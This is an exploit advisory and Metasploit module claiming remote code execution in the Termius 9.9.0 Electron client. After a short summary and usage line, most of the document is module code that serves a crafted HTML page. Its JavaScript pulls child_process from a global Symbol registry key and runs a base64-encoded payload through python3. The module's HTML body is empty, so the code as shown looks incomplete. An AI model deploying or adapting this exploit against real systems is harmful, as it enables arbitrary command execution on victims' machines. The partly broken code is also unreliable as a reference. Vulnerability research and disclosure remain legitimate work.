============================================================================================================================================= | # Title : Termius 9.9.0 Remote Code Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://termius.com | ============================================================================================================================================= [+] Summary : This Metasploit module demonstrates a Remote Code Execution (RCE) vulnerability in the Termius Electron application caused by an exposed symbol in the global JavaScript Symbol Registry. By accessing a shared Symbol.for() key that unintentionally references preloaded Node.js modules, attacker-controlled JavaScript executed within the Electron renderer context can gain access to child_process and execute arbitrary system commands. The issue stems from improper Electron security configuration, including broken context isolation and unsafe exposure of Node.js internals to the browser environment. This vulnerability allows full command execution with user-level privileges by simply loading a crafted HTML page inside the affected Electron application. [+] Usage : use exploit/multi/browser/termius_symbol_rce set COMMAND 'whoami > /tmp/pwned' run [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Termius Exposed Symbol Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability where a Node.js 'child_process' object is exposed via the Global Symbol Registry. As it is a technical reference, the Symbol acts as a bridge; allows an attacker to execute arbitrary system commands within the context of the application. }, 'License' => MSF_LICENSE, 'Author' => [ 'indoushka' ], 'Platform' => %w[win osx linux], 'Targets' => [ [ 'Universal Payload', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-12-25' )) end def on_request_uri(cli, request) p = payload.encoded cmd = "python3 -c \"import os,base64;os.system(base64.b64decode('#{Rex::Text.encode_base64(p)}'))\"" js_exploit = <<-JS try { const key = Symbol.for("preloadedModulesKey"); const proc = window[key]; if (proc && proc.child_process) { proc.child_process.exec("#{cmd.gsub('"', '\"')}"); console.log("[+] Exploit triggered successfully"); } } catch (e) { console.error("Exploit failed: " + e); } JS print_status("Sending exploit to #{cli.peerhost}...") html = <<-HTML HTML send_response(cli, html, { 'Content-Type' => 'text/html' }) end end Greetings to :============================================================ jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*| ==========================================================================